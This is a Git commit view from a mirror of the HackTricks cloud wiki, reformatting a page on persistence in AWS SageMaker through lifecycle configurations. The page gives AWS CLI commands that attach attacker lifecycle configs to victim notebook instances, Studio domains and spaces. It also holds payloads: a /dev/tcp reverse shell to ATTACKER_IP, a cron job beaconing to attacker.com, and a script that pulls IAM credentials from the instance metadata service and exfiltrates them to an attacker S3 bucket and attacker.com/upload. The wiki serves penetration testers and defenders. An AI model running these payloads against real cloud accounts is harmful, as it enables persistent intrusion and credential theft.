mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-07 02:03:45 -08:00
Update aws-sagemaker-persistence.md
This commit is contained in:
@@ -1,54 +1,74 @@
|
|||||||
|
|
||||||
### AWS - SageMaker Lifecycle Configuration Persistence
|
# AWS - SageMaker Lifecycle Configuration Persistence
|
||||||
|
|
||||||
# Required Permissions
|
## Required Permissions
|
||||||
* Notebook Instances: sagemaker:CreateNotebookInstanceLifecycleConfig, sagemaker:UpdateNotebookInstanceLifecycleConfig, sagemaker:CreateNotebookInstance, sagemaker:UpdateNotebookInstance
|
* Notebook Instances:
|
||||||
* Studio Applications: sagemaker:CreateStudioLifecycleConfig, sagemaker:UpdateStudioLifecycleConfig, sagemaker:UpdateUserProfile, sagemaker:UpdateSpace, sagemaker:UpdateDomain
|
```
|
||||||
|
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||||
### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
|
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||||
|
sagemaker:CreateNotebookInstance
|
||||||
|
sagemaker:UpdateNotebookInstance
|
||||||
|
```
|
||||||
|
* Studio Applications:
|
||||||
|
```
|
||||||
|
sagemaker:CreateStudioLifecycleConfig
|
||||||
|
sagemaker:UpdateStudioLifecycleConfig
|
||||||
|
sagemaker:UpdateUserProfile
|
||||||
|
sagemaker:UpdateSpace
|
||||||
|
sagemaker:UpdateDomain
|
||||||
|
```
|
||||||
|
#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
|
||||||
|
|
||||||
## Set Lifecycle Configuration on Notebook Instances
|
## Set Lifecycle Configuration on Notebook Instances
|
||||||
|
|
||||||
### Example AWS CLI Commands:
|
### Example AWS CLI Commands:
|
||||||
|
```bash
|
||||||
|
# Create Lifecycle Configuration*
|
||||||
|
|
||||||
*# Create Lifecycle Configuration*
|
|
||||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||||
|
|
||||||
*# Attach Lifecycle Configuration to Notebook Instance*
|
|
||||||
|
# Attach Lifecycle Configuration to Notebook Instance*
|
||||||
|
|
||||||
aws sagemaker update-notebook-instance \
|
aws sagemaker update-notebook-instance \
|
||||||
--notebook-instance-name victim-instance \
|
--notebook-instance-name victim-instance \
|
||||||
--lifecycle-config-name attacker-lcc
|
--lifecycle-config-name attacker-lcc
|
||||||
|
```
|
||||||
|
|
||||||
## Set Lifecycle Configuration on SageMaker Studio
|
## Set Lifecycle Configuration on SageMaker Studio
|
||||||
|
|
||||||
Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
|
Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
|
||||||
|
|
||||||
### Studio Domain Level (All Users)
|
### Studio Domain Level (All Users)
|
||||||
|
```bash
|
||||||
|
# Create Studio Lifecycle Configuration*
|
||||||
|
|
||||||
*# Create Studio Lifecycle Configuration*
|
|
||||||
aws sagemaker create-studio-lifecycle-config \
|
aws sagemaker create-studio-lifecycle-config \
|
||||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||||
--studio-lifecycle-config-app-type JupyterServer \
|
--studio-lifecycle-config-app-type JupyterServer \
|
||||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||||
|
|
||||||
*# Apply LCC to entire Studio Domain*
|
|
||||||
|
# Apply LCC to entire Studio Domain*
|
||||||
|
|
||||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||||
"JupyterServerAppSettings": {
|
"JupyterServerAppSettings": {
|
||||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||||
}
|
}
|
||||||
}'
|
}'
|
||||||
|
```
|
||||||
### Studio Space Level (Individual or Shared Spaces)
|
### Studio Space Level (Individual or Shared Spaces)
|
||||||
|
```bash
|
||||||
|
# Update SageMaker Studio Space to attach LCC*
|
||||||
|
|
||||||
*# Update SageMaker Studio Space to attach LCC*
|
|
||||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||||
"JupyterServerAppSettings": {
|
"JupyterServerAppSettings": {
|
||||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||||
}
|
}
|
||||||
}'
|
}'
|
||||||
|
```
|
||||||
## Types of Studio Application Lifecycle Configurations
|
## Types of Studio Application Lifecycle Configurations
|
||||||
|
|
||||||
Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
|
Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
|
||||||
@@ -59,26 +79,26 @@ Lifecycle configurations can be specifically applied to different SageMaker Stud
|
|||||||
### Example Command for Each Type:
|
### Example Command for Each Type:
|
||||||
|
|
||||||
### JupyterServer
|
### JupyterServer
|
||||||
|
```bash
|
||||||
aws sagemaker create-studio-lifecycle-config \
|
aws sagemaker create-studio-lifecycle-config \
|
||||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||||
--studio-lifecycle-config-app-type JupyterServer \
|
--studio-lifecycle-config-app-type JupyterServer \
|
||||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||||
|
```
|
||||||
### KernelGateway
|
### KernelGateway
|
||||||
|
```bash
|
||||||
aws sagemaker create-studio-lifecycle-config \
|
aws sagemaker create-studio-lifecycle-config \
|
||||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||||
--studio-lifecycle-config-app-type KernelGateway \
|
--studio-lifecycle-config-app-type KernelGateway \
|
||||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||||
|
```
|
||||||
### CodeEditor
|
### CodeEditor
|
||||||
|
```bash
|
||||||
aws sagemaker create-studio-lifecycle-config \
|
aws sagemaker create-studio-lifecycle-config \
|
||||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||||
--studio-lifecycle-config-app-type CodeEditor \
|
--studio-lifecycle-config-app-type CodeEditor \
|
||||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||||
|
```
|
||||||
### Critical Info:
|
### Critical Info:
|
||||||
* Attaching LCCs at the domain or space level impacts all users or applications within scope.
|
* Attaching LCCs at the domain or space level impacts all users or applications within scope.
|
||||||
* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
|
* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
|
||||||
@@ -89,18 +109,18 @@ aws sagemaker create-studio-lifecycle-config \
|
|||||||
SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
|
SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
|
||||||
|
|
||||||
### Payload Example:
|
### Payload Example:
|
||||||
|
```
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
ATTACKER_IP="<ATTACKER_IP>"
|
ATTACKER_IP="<ATTACKER_IP>"
|
||||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||||
|
```
|
||||||
## Cron Job Persistence via Lifecycle Configuration
|
## Cron Job Persistence via Lifecycle Configuration
|
||||||
|
|
||||||
An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
|
An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
|
||||||
|
|
||||||
### Payload Example:
|
### Payload Example:
|
||||||
|
```
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||||
@@ -111,22 +131,24 @@ echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOA
|
|||||||
chmod +x $PAYLOAD_PATH
|
chmod +x $PAYLOAD_PATH
|
||||||
|
|
||||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||||
|
```
|
||||||
## Credential Exfiltration via IMDS (v1 & v2)
|
## Credential Exfiltration via IMDS (v1 & v2)
|
||||||
|
|
||||||
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
|
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
|
||||||
|
|
||||||
### Payload Example:
|
### Payload Example:
|
||||||
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||||
|
|
||||||
*# Exfiltrate via S3*
|
# Exfiltrate via S3*
|
||||||
|
|
||||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||||
|
|
||||||
*# Alternatively, exfiltrate via HTTP POST*
|
# Alternatively, exfiltrate via HTTP POST*
|
||||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
|
||||||
|
|
||||||
|
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||||
|
```
|
||||||
|
|||||||
Reference in New Issue
Block a user